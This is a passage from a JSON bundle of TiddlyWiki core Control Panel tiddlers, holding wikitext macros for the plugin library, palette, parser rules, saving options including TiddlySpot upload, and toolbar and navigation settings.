            "text": "\\define install-plugin-button()\n<$button>\n<$action-sendmessage $message=\"tm-load-plugin-from-library\" url={{!!url}} title={{$(assetInfo)$!!original-title}}/>\n<$list filter=\"[<assetInfo>get[original-title]get[version]]\" variable=\"installedVersion\" emptyMessage=\"\"\"{{$:/language/ControlPanel/Plugins/Install/Caption}}\"\"\">\n{{$:/language/ControlPanel/Plugins/Reinstall/Caption}}\n</$list>\n</$button>\n\\end\n\n\\define popup-state-macro()\n$:/state/add-plugin-info/$(connectionTiddler)$/$(assetInfo)$\n\\end\n\n\\define display-plugin-info(type)\n<$set name=\"popup-state\" value=<<popup-state-macro>>>\n<div class=\"tc-plugin-info\">\n<div class=\"tc-plugin-info-chunk tc-small-icon\">\n<$reveal type=\"nomatch\" state=<<popup-state>> text=\"yes\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"yes\">\n{{$:/core/images/right-arrow}}\n</$button>\n</$reveal>\n<$reveal type=\"match\" state=<<popup-state>> text=\"yes\">\n<$button class=\"tc-btn-invisible tc-btn-dropdown\" set=<<popup-state>> setTo=\"no\">\n{{$:/core/images/down-arrow}}\n</$button>\n</$reveal>\n</div>\n<div class=\"tc-plugin-info-chunk\">\n<$list filter=\"[<assetInfo>has[icon]]\" emptyMessage=\"\"\"<$transclude tiddler=\"$:/core/images/plugin-generic-$type$\"/>\"\"\">\n<img src={{$(assetInfo)$!!icon}}/>\n</$list>\n</div>\n<div class=\"tc-plugin-info-chunk\">\n<h1><$view tiddler=<<assetInfo>> field=\"description\"/></h1>\n<h2><$view tiddler=<<assetInfo>> field=\"original-title\"/></h2>\n<div><em><$view tiddler=<<assetInfo>> field=\"version\"/></em></div>\n</div>\n<div class=\"tc-plugin-info-chunk\">\n<<install-plugin-button>>\n</div>\n</div>\n<$reveal type=\"match\" text=\"yes\" state=<<popup-state>>>\n<div class=\"tc-plugin-info-dropdown\">\n<div class=\"tc-plugin-info-dropdown-message\">\n<$list filter=\"[<assetInfo>get[original-title]get[version]]\" variable=\"installedVersion\" emptyMessage=\"\"\"{{$:/language/ControlPanel/Plugins/NotInstalled/Hint}}\"\"\">\n<em>\n{{$:/language/ControlPanel/Plugins/AlreadyInstalled/Hint}}\n</em>\n</$list>\n</div>\n<div class=\"tc-plugin-info-dropdown-body\">\n<$transclude tiddler=<<assetInfo>> field=\"readme\" mode=\"block\"/>\n</div>\n</div>\n</$reveal>\n</$set>\n\\end\n\n\\define load-plugin-library-button()\n<$button class=\"tc-btn-big-green\">\n<$action-sendmessage $message=\"tm-load-plugin-library\" url={{!!url}} infoTitlePrefix=\"$:/temp/RemoteAssetInfo/\"/>\n{{$:/core/images/chevron-right}} {{$:/language/ControlPanel/Plugins/OpenPluginLibrary}}\n</$button>\n\\end\n\n\\define display-server-assets(type)\n{{$:/language/Search/Search}}: <$edit-text tiddler=\"\"\"$:/temp/RemoteAssetSearch/$(currentTiddler)$\"\"\" default=\"\" type=\"search\" tag=\"input\"/>\n<$reveal state=\"\"\"$:/temp/RemoteAssetSearch/$(currentTiddler)$\"\"\" type=\"nomatch\" text=\"\">\n<$button class=\"tc-btn-invisible\">\n<$action-setfield $tiddler=\"\"\"$:/temp/RemoteAssetSearch/$(currentTiddler)$\"\"\" $field=\"text\" $value=\"\"/>\n{{$:/core/images/close-button}}\n</$button>\n</$reveal>\n<div class=\"tc-plugin-library-listing\">\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[$type$]search{$:/temp/RemoteAssetSearch/$(currentTiddler)$}sort[description]]\" variable=\"assetInfo\">\n<<display-plugin-info \"$type$\">>\n</$list>\n</div>\n\\end\n\n\\define display-server-connection()\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/ServerConnection]suffix{!!url}]\" variable=\"connectionTiddler\" emptyMessage=<<load-plugin-library-button>>>\n\n<<tabs \"[[$:/core/ui/ControlPanel/Plugins/Add/Plugins]] [[$:/core/ui/ControlPanel/Plugins/Add/Themes]] [[$:/core/ui/ControlPanel/Plugins/Add/Languages]]\" \"$:/core/ui/ControlPanel/Plugins/Add/Plugins\">>\n\n</$list>\n\\end\n\n\\define close-library-button()\n<$reveal type='nomatch' state='$:/temp/ServerConnection/$(PluginLibraryURL)$' text=''>\n<$button class='tc-btn-big-green'>\n<$action-sendmessage $message=\"tm-unload-plugin-library\" url={{!!url}}/>\n{{$:/core/images/chevron-left}} {{$:/language/ControlPanel/Plugins/ClosePluginLibrary}}\n<$action-deletetiddler $filter=\"[prefix[$:/temp/ServerConnection/$(PluginLibraryURL)$]][prefix[$:/temp/RemoteAssetInfo/$(PluginLibraryURL)$]]\"/>\n</$button>\n</$reveal>\n\\end\n\n\\define plugin-library-listing()\n<$list filter=\"[all[tiddlers+shadows]tag[$:/tags/PluginLibrary]]\">\n<div class=\"tc-plugin-library\">\n\n!! <$link><$transclude field=\"caption\"><$view field=\"title\"/></$transclude></$link>\n\n//<$view field=\"url\"/>//\n\n<$transclude/>\n\n<$set name=PluginLibraryURL value={{!!url}}>\n<<close-library-button>>\n</$set>\n\n<<display-server-connection>>\n</div>\n</$list>\n\\end\n\n\\import [[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\n\n<div>\n<<plugin-library-listing>>\n</div>\n"
        },
        "$:/core/ui/ControlPanel/Palette": {
            "title": "$:/core/ui/ControlPanel/Palette",
            "tags": "$:/tags/ControlPanel/Appearance",
            "caption": "{{$:/language/ControlPanel/Palette/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Palette/\n\n{{$:/snippets/paletteswitcher}}\n\n<$reveal type=\"nomatch\" state=\"$:/state/ShowPaletteEditor\" text=\"yes\">\n\n<$button set=\"$:/state/ShowPaletteEditor\" setTo=\"yes\"><<lingo ShowEditor/Caption>></$button>\n\n</$reveal>\n\n<$reveal type=\"match\" state=\"$:/state/ShowPaletteEditor\" text=\"yes\">\n\n<$button set=\"$:/state/ShowPaletteEditor\" setTo=\"no\"><<lingo HideEditor/Caption>></$button>\n{{$:/snippets/paletteeditor}}\n\n</$reveal>\n\n"
        },
        "$:/core/ui/ControlPanel/Parsing": {
            "title": "$:/core/ui/ControlPanel/Parsing",
            "tags": "$:/tags/ControlPanel/Advanced",
            "caption": "{{$:/language/ControlPanel/Parsing/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Parsing/\n\n\\define toggle(Type)\n<$checkbox\ntiddler=\"\"\"$:/config/WikiParserRules/$Type$/$(rule)$\"\"\"\nfield=\"text\"\nchecked=\"enable\"\nunchecked=\"disable\"\ndefault=\"enable\">\n<<rule>>\n</$checkbox>\n\\end\n\n\\define rules(type,Type)\n<$list filter=\"[wikiparserrules[$type$]]\" variable=\"rule\">\n<dd><<toggle $Type$>></dd>\n</$list>\n\\end\n\n<<lingo Hint>>\n\n<dl>\n<dt><<lingo Pragma/Caption>></dt>\n<<rules pragma Pragma>>\n<dt><<lingo Inline/Caption>></dt>\n<<rules inline Inline>>\n<dt><<lingo Block/Caption>></dt>\n<<rules block Block>>\n</dl>"
        },
        "$:/core/ui/ControlPanel/Plugins/Add/Languages": {
            "title": "$:/core/ui/ControlPanel/Plugins/Add/Languages",
            "caption": "{{$:/language/ControlPanel/Plugins/Languages/Caption}} (<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[language]]\"/>)",
            "text": "<<display-server-assets language>>\n"
        },
        "$:/core/ui/ControlPanel/Plugins/Add/Plugins": {
            "title": "$:/core/ui/ControlPanel/Plugins/Add/Plugins",
            "caption": "{{$:/language/ControlPanel/Plugins/Plugins/Caption}}  (<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[plugin]]\"/>)",
            "text": "<<display-server-assets plugin>>\n"
        },
        "$:/core/ui/ControlPanel/Plugins/Add/Themes": {
            "title": "$:/core/ui/ControlPanel/Plugins/Add/Themes",
            "caption": "{{$:/language/ControlPanel/Plugins/Themes/Caption}}  (<$count filter=\"[all[tiddlers+shadows]tag[$:/tags/RemoteAssetInfo]server-url{!!url}original-plugin-type[theme]]\"/>)",
            "text": "<<display-server-assets theme>>\n"
        },
        "$:/core/ui/ControlPanel/Plugins/AddPlugins": {
            "title": "$:/core/ui/ControlPanel/Plugins/AddPlugins",
            "text": "\\define lingo-base() $:/language/ControlPanel/Plugins/\n\n<$button message=\"tm-modal\" param=\"$:/core/ui/ControlPanel/Modals/AddPlugins\" tooltip={{$:/language/ControlPanel/Plugins/Add/Hint}} class=\"tc-btn-big-green\" style=\"background:blue;\">\n{{$:/core/images/download-button}} <<lingo Add/Caption>>\n</$button>\n"
        },
        "$:/core/ui/ControlPanel/Plugins/Installed/Languages": {
            "title": "$:/core/ui/ControlPanel/Plugins/Installed/Languages",
            "caption": "{{$:/language/ControlPanel/Plugins/Languages/Caption}} (<$count filter=\"[!has[draft.of]plugin-type[language]]\"/>)",
            "text": "<<plugin-table language>>\n"
        },
        "$:/core/ui/ControlPanel/Plugins/Installed/Plugins": {
            "title": "$:/core/ui/ControlPanel/Plugins/Installed/Plugins",
            "caption": "{{$:/language/ControlPanel/Plugins/Plugins/Caption}} (<$count filter=\"[!has[draft.of]plugin-type[plugin]]\"/>)",
            "text": "<<plugin-table plugin>>\n"
        },
        "$:/core/ui/ControlPanel/Plugins/Installed/Themes": {
            "title": "$:/core/ui/ControlPanel/Plugins/Installed/Themes",
            "caption": "{{$:/language/ControlPanel/Plugins/Themes/Caption}} (<$count filter=\"[!has[draft.of]plugin-type[theme]]\"/>)",
            "text": "<<plugin-table theme>>\n"
        },
        "$:/core/ui/ControlPanel/Plugins": {
            "title": "$:/core/ui/ControlPanel/Plugins",
            "tags": "$:/tags/ControlPanel",
            "caption": "{{$:/language/ControlPanel/Plugins/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Plugins/\n\n\\define plugin-table(type)\n<$set name=\"plugin-type\" value=\"\"\"$type$\"\"\">\n<$set name=\"qualified-state\" value=<<qualify \"$:/state/plugin-info\">>>\n<$list filter=\"[!has[draft.of]plugin-type[$type$]sort[description]]\" emptyMessage=<<lingo \"Empty/Hint\">> template=\"$:/core/ui/Components/plugin-info\"/>\n</$set>\n</$set>\n\\end\n\n{{$:/core/ui/ControlPanel/Plugins/AddPlugins}}\n\n<<lingo Installed/Hint>>\n\n<<tabs \"[[$:/core/ui/ControlPanel/Plugins/Installed/Plugins]] [[$:/core/ui/ControlPanel/Plugins/Installed/Themes]] [[$:/core/ui/ControlPanel/Plugins/Installed/Languages]]\" \"$:/core/ui/ControlPanel/Plugins/Installed/Plugins\">>\n"
        },
        "$:/core/ui/ControlPanel/Saving/DownloadSaver": {
            "title": "$:/core/ui/ControlPanel/Saving/DownloadSaver",
            "tags": "$:/tags/ControlPanel/Saving",
            "caption": "{{$:/language/ControlPanel/Saving/DownloadSaver/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Saving/DownloadSaver/\n\n<<lingo Hint>>\n\n!! <$link to=\"$:/config/DownloadSaver/AutoSave\"><<lingo AutoSave/Hint>></$link>\n\n<$checkbox tiddler=\"$:/config/DownloadSaver/AutoSave\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> <<lingo AutoSave/Description>> </$checkbox>\n"
        },
        "$:/core/ui/ControlPanel/Saving/General": {
            "title": "$:/core/ui/ControlPanel/Saving/General",
            "tags": "$:/tags/ControlPanel/Saving",
            "caption": "{{$:/language/ControlPanel/Saving/General/Caption}}",
            "list-before": "",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/\n\n{{$:/language/ControlPanel/Saving/General/Hint}}\n\n!! <$link to=\"$:/config/AutoSave\"><<lingo AutoSave/Caption>></$link>\n\n<<lingo AutoSave/Hint>>\n\n<$radio tiddler=\"$:/config/AutoSave\" value=\"yes\"> <<lingo AutoSave/Enabled/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/AutoSave\" value=\"no\"> <<lingo AutoSave/Disabled/Description>> </$radio>\n"
        },
        "$:/core/ui/ControlPanel/Saving/TiddlySpot": {
            "title": "$:/core/ui/ControlPanel/Saving/TiddlySpot",
            "tags": "$:/tags/ControlPanel/Saving",
            "caption": "{{$:/language/ControlPanel/Saving/TiddlySpot/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Saving/TiddlySpot/\n\n\\define backupURL()\nhttp://$(userName)$.tiddlyspot.com/backup/\n\\end\n\\define backupLink()\n<$reveal type=\"nomatch\" state=\"$:/UploadName\" text=\"\">\n<$set name=\"userName\" value={{$:/UploadName}}>\n<$reveal type=\"match\" state=\"$:/UploadURL\" text=\"\">\n<<backupURL>>\n</$reveal>\n<$reveal type=\"nomatch\" state=\"$:/UploadURL\" text=\"\">\n<$macrocall $name=resolvePath source={{$:/UploadBackupDir}} root={{$:/UploadURL}}>>\n</$reveal>\n</$set>\n</$reveal>\n\\end\n\n<<lingo Description>>\n\n|<<lingo UserName>> |<$edit-text tiddler=\"$:/UploadName\" default=\"\" tag=\"input\"/> |\n|<<lingo Password>> |<$password name=\"upload\"/> |\n|<<lingo Backups>> |<<backupLink>> |\n\n''<<lingo Advanced/Heading>>''\n\n|<<lingo ServerURL>>  |<$edit-text tiddler=\"$:/UploadURL\" default=\"\" tag=\"input\"/> |\n|<<lingo Filename>> |<$edit-text tiddler=\"$:/UploadFilename\" default=\"index.html\" tag=\"input\"/> |\n|<<lingo UploadDir>> |<$edit-text tiddler=\"$:/UploadDir\" default=\".\" tag=\"input\"/> |\n|<<lingo BackupDir>> |<$edit-text tiddler=\"$:/UploadBackupDir\" default=\".\" tag=\"input\"/> |\n\n<<lingo TiddlySpot/Hint>>"
        },
        "$:/core/ui/ControlPanel/Saving": {
            "title": "$:/core/ui/ControlPanel/Saving",
            "tags": "$:/tags/ControlPanel",
            "caption": "{{$:/language/ControlPanel/Saving/Caption}}",
            "text": "{{$:/language/ControlPanel/Saving/Hint}}\n\n<div class=\"tc-control-panel\">\n<<tabs \"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Saving]!has[draft.of]]\" \"$:/core/ui/ControlPanel/Saving/General\">>\n</div>\n"
        },
        "$:/core/buttonstyles/Borderless": {
            "title": "$:/core/buttonstyles/Borderless",
            "tags": "$:/tags/ToolbarButtonStyle",
            "caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Borderless}}",
            "text": "tc-btn-invisible"
        },
        "$:/core/buttonstyles/Boxed": {
            "title": "$:/core/buttonstyles/Boxed",
            "tags": "$:/tags/ToolbarButtonStyle",
            "caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Boxed}}",
            "text": "tc-btn-boxed"
        },
        "$:/core/buttonstyles/Rounded": {
            "title": "$:/core/buttonstyles/Rounded",
            "tags": "$:/tags/ToolbarButtonStyle",
            "caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Styles/Rounded}}",
            "text": "tc-btn-rounded"
        },
        "$:/core/ui/ControlPanel/Settings/CamelCase": {
            "title": "$:/core/ui/ControlPanel/Settings/CamelCase",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/CamelCase/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/CamelCase/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/WikiParserRules/Inline/wikilink\" field=\"text\" checked=\"enable\" unchecked=\"disable\" default=\"enable\"> <$link to=\"$:/config/WikiParserRules/Inline/wikilink\"><<lingo Description>></$link> </$checkbox>\n"
        },
        "$:/core/ui/ControlPanel/Settings/DefaultMoreSidebarTab": {
            "title": "$:/core/ui/ControlPanel/Settings/DefaultMoreSidebarTab",
            "caption": "{{$:/language/ControlPanel/Settings/DefaultMoreSidebarTab/Caption}}",
            "tags": "$:/tags/ControlPanel/Settings",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/DefaultMoreSidebarTab/\n\n<$link to=\"$:/config/DefaultMoreSidebarTab\"><<lingo Hint>></$link>\n\n<$select tiddler=\"$:/config/DefaultMoreSidebarTab\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/MoreSideBar]!has[draft.of]]\">\n<option value=<<currentTiddler>>><$transclude field=\"caption\"><$text text=<<currentTiddler>>/></$transclude></option>\n</$list>\n</$select>\n"
        },
        "$:/core/ui/ControlPanel/Settings/DefaultSidebarTab": {
            "title": "$:/core/ui/ControlPanel/Settings/DefaultSidebarTab",
            "caption": "{{$:/language/ControlPanel/Settings/DefaultSidebarTab/Caption}}",
            "tags": "$:/tags/ControlPanel/Settings",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/DefaultSidebarTab/\n\n<$link to=\"$:/config/DefaultSidebarTab\"><<lingo Hint>></$link>\n\n<$select tiddler=\"$:/config/DefaultSidebarTab\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/SideBar]!has[draft.of]]\">\n<option value=<<currentTiddler>>><$transclude field=\"caption\"><$text text=<<currentTiddler>>/></$transclude></option>\n</$list>\n</$select>\n"
        },
        "$:/core/ui/ControlPanel/Settings/EditorToolbar": {
            "title": "$:/core/ui/ControlPanel/Settings/EditorToolbar",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/EditorToolbar/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/EditorToolbar/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/TextEditor/EnableToolbar\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/TextEditor/EnableToolbar\"><<lingo Description>></$link> </$checkbox>\n\n"
        },
        "$:/core/ui/ControlPanel/Settings/InfoPanelMode": {
            "title": "$:/core/ui/ControlPanel/Settings/InfoPanelMode",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/InfoPanelMode/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/InfoPanelMode/\n<$link to=\"$:/config/TiddlerInfo/Mode\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/TiddlerInfo/Mode\" value=\"popup\"> <<lingo Popup/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/TiddlerInfo/Mode\" value=\"sticky\"> <<lingo Sticky/Description>> </$radio>\n"
        },
        "$:/core/ui/ControlPanel/Settings/LinkToBehaviour": {
            "title": "$:/core/ui/ControlPanel/Settings/LinkToBehaviour",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/LinkToBehaviour/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/LinkToBehaviour/\n\n<$link to=\"$:/config/Navigation/openLinkFromInsideRiver\"><<lingo \"InsideRiver/Hint\">></$link>\n\n<$select tiddler=\"$:/config/Navigation/openLinkFromInsideRiver\">\n  <option value=\"above\"><<lingo \"OpenAbove\">></option>\n  <option value=\"below\"><<lingo \"OpenBelow\">></option>\n  <option value=\"top\"><<lingo \"OpenAtTop\">></option>\n  <option value=\"bottom\"><<lingo \"OpenAtBottom\">></option>\n</$select>\n\n<$link to=\"$:/config/Navigation/openLinkFromOutsideRiver\"><<lingo \"OutsideRiver/Hint\">></$link>\n\n<$select tiddler=\"$:/config/Navigation/openLinkFromOutsideRiver\">\n  <option value=\"top\"><<lingo \"OpenAtTop\">></option>\n  <option value=\"bottom\"><<lingo \"OpenAtBottom\">></option>\n</$select>\n"
        },
        "$:/core/ui/ControlPanel/Settings/MissingLinks": {
            "title": "$:/core/ui/ControlPanel/Settings/MissingLinks",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/MissingLinks/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/MissingLinks/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/MissingLinks\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/MissingLinks\"><<lingo Description>></$link> </$checkbox>\n\n"
        },
        "$:/core/ui/ControlPanel/Settings/NavigationAddressBar": {
            "title": "$:/core/ui/ControlPanel/Settings/NavigationAddressBar",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/NavigationAddressBar/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/NavigationAddressBar/\n\n<$link to=\"$:/config/Navigation/UpdateAddressBar\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateAddressBar\" value=\"permaview\"> <<lingo Permaview/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateAddressBar\" value=\"permalink\"> <<lingo Permalink/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateAddressBar\" value=\"no\"> <<lingo No/Description>> </$radio>\n"
        },
        "$:/core/ui/ControlPanel/Settings/NavigationHistory": {
            "title": "$:/core/ui/ControlPanel/Settings/NavigationHistory",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/NavigationHistory/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/NavigationHistory/\n<$link to=\"$:/config/Navigation/UpdateHistory\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateHistory\" value=\"yes\"> <<lingo Yes/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Navigation/UpdateHistory\" value=\"no\"> <<lingo No/Description>> </$radio>\n"
        },
        "$:/core/ui/ControlPanel/Settings/NavigationPermalinkviewMode": {
            "title": "$:/core/ui/ControlPanel/Settings/NavigationPermalinkviewMode",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/NavigationPermalinkviewMode/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/NavigationPermalinkviewMode/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/Navigation/Permalinkview/CopyToClipboard\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/Navigation/Permalinkview/CopyToClipboard\"><<lingo CopyToClipboard/Description>></$link> </$checkbox>\n\n<$checkbox tiddler=\"$:/config/Navigation/Permalinkview/UpdateAddressBar\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/Navigation/Permalinkview/UpdateAddressBar\"><<lingo UpdateAddressBar/Description>></$link> </$checkbox>\n"
        },
        "$:/core/ui/ControlPanel/Settings/PerformanceInstrumentation": {
            "title": "$:/core/ui/ControlPanel/Settings/PerformanceInstrumentation",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/PerformanceInstrumentation/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/PerformanceInstrumentation/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/Performance/Instrumentation\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> <$link to=\"$:/config/Performance/Instrumentation\"><<lingo Description>></$link> </$checkbox>\n"
        },
        "$:/core/ui/ControlPanel/Settings/TitleLinks": {
            "title": "$:/core/ui/ControlPanel/Settings/TitleLinks",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/TitleLinks/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/TitleLinks/\n<$link to=\"$:/config/Tiddlers/TitleLinks\"><<lingo Hint>></$link>\n\n<$radio tiddler=\"$:/config/Tiddlers/TitleLinks\" value=\"yes\"> <<lingo Yes/Description>> </$radio>\n\n<$radio tiddler=\"$:/config/Tiddlers/TitleLinks\" value=\"no\"> <<lingo No/Description>> </$radio>\n"
        },
        "$:/core/ui/ControlPanel/Settings/ToolbarButtonStyle": {
            "title": "$:/core/ui/ControlPanel/Settings/ToolbarButtonStyle",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/ToolbarButtonStyle/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/ToolbarButtonStyle/\n<$link to=\"$:/config/Toolbar/ButtonClass\"><<lingo \"Hint\">></$link>\n\n<$select tiddler=\"$:/config/Toolbar/ButtonClass\">\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ToolbarButtonStyle]]\">\n<option value={{!!text}}>{{!!caption}}</option>\n</$list>\n</$select>\n"
        },
        "$:/core/ui/ControlPanel/Settings/ToolbarButtons": {
            "title": "$:/core/ui/ControlPanel/Settings/ToolbarButtons",
            "tags": "$:/tags/ControlPanel/Settings",
            "caption": "{{$:/language/ControlPanel/Settings/ToolbarButtons/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/ToolbarButtons/\n<<lingo Hint>>\n\n<$checkbox tiddler=\"$:/config/Toolbar/Icons\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"yes\"> <$link to=\"$:/config/Toolbar/Icons\"><<lingo Icons/Description>></$link> </$checkbox>\n\n<$checkbox tiddler=\"$:/config/Toolbar/Text\" field=\"text\" checked=\"yes\" unchecked=\"no\" default=\"no\"> <$link to=\"$:/config/Toolbar/Text\"><<lingo Text/Description>></$link> </$checkbox>\n"
        },
        "$:/core/ui/ControlPanel/Settings": {
            "title": "$:/core/ui/ControlPanel/Settings",
            "tags": "$:/tags/ControlPanel",
            "caption": "{{$:/language/ControlPanel/Settings/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/Settings/\n\n<<lingo Hint>>\n\n<$list filter=\"[all[shadows+tiddlers]tag[$:/tags/ControlPanel/Settings]]\">\n\n<div style=\"border-top:1px solid #eee;\">\n\n!! <$link><$transclude field=\"caption\"/></$link>\n\n<$transclude/>\n\n</div>\n\n</$list>\n"
        },
        "$:/core/ui/ControlPanel/StoryView": {
            "title": "$:/core/ui/ControlPanel/StoryView",
            "tags": "$:/tags/ControlPanel/Appearance",
            "caption": "{{$:/language/ControlPanel/StoryView/Caption}}",
            "text": "{{$:/snippets/viewswitcher}}\n"
        },
        "$:/core/ui/ControlPanel/Stylesheets": {
            "title": "$:/core/ui/ControlPanel/Stylesheets",
            "tags": "$:/tags/ControlPanel/Advanced",
            "caption": "{{$:/language/ControlPanel/Stylesheets/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/\n\n<<lingo Stylesheets/Hint>>\n\n{{$:/snippets/peek-stylesheets}}\n"
        },
        "$:/core/ui/ControlPanel/Theme": {
            "title": "$:/core/ui/ControlPanel/Theme",
            "tags": "$:/tags/ControlPanel/Appearance",
            "caption": "{{$:/language/ControlPanel/Theme/Caption}}",
            "text": "{{$:/snippets/themeswitcher}}\n"
        },
        "$:/core/ui/ControlPanel/TiddlerFields": {
            "title": "$:/core/ui/ControlPanel/TiddlerFields",
            "tags": "$:/tags/ControlPanel/Advanced",
            "caption": "{{$:/language/ControlPanel/TiddlerFields/Caption}}",
            "text": "\\define lingo-base() $:/language/ControlPanel/\n\n<<lingo TiddlerFields/Hint>>\n\n{{$:/snippets/allfields}}"
        },
        "$:/core/ui/ControlPanel/Toolbars/EditToolbar": {
            "title": "$:/core/ui/ControlPanel/Toolbars/EditToolbar",
            "tags": "$:/tags/ControlPanel/Toolbars",
            "caption": "{{$:/language/ControlPanel/Toolbars/EditToolbar/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/EditToolbarButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/EditToolbar/Hint}}\n\n<$set name=\"tv-config-toolbar-icons\" value=\"yes\">\n\n<$set name=\"tv-config-toolbar-text\" value=\"yes\">\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/EditToolbar\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/ItemTemplate\"/>\n\n</$set>\n\n</$set>"
        },
        "$:/core/ui/ControlPanel/Toolbars/EditorItemTemplate": {
            "title": "$:/core/ui/ControlPanel/Toolbars/EditorItemTemplate",
            "text": "\\define config-title()\n$(config-base)$$(currentTiddler)$\n\\end\n\n<$draggable tiddler=<<currentTiddler>>>\n<$checkbox tiddler=<<config-title>> field=\"text\" checked=\"show\" unchecked=\"hide\" default=\"show\"/> <span class=\"tc-icon-wrapper\"><$transclude tiddler={{!!icon}}/></span> <$transclude field=\"caption\"/> -- <i class=\"tc-muted\"><$transclude field=\"description\"/></i>\n</$draggable>\n"
        },
        "$:/core/ui/ControlPanel/Toolbars/EditorToolbar": {
            "title": "$:/core/ui/ControlPanel/Toolbars/EditorToolbar",
            "tags": "$:/tags/ControlPanel/Toolbars",
            "caption": "{{$:/language/ControlPanel/Toolbars/EditorToolbar/Caption}}",
            "text": "\\define lingo-base() $:/language/TiddlerInfo/\n\n\\define config-base() $:/config/EditorToolbarButtons/Visibility/\n\n{{$:/language/ControlPanel/Toolbars/EditorToolbar/Hint}}\n\n<$macrocall $name=\"list-tagged-draggable\" tag=\"$:/tags/EditorToolbar\" itemTemplate=\"$:/core/ui/ControlPanel/Toolbars/EditorItemTemplate\"/>\n"
        },
        "$:/core/ui/ControlPanel/Toolbars/ItemTemplate": {
            "title": "$:/core/ui/ControlPanel/Toolbars/ItemTemplate",
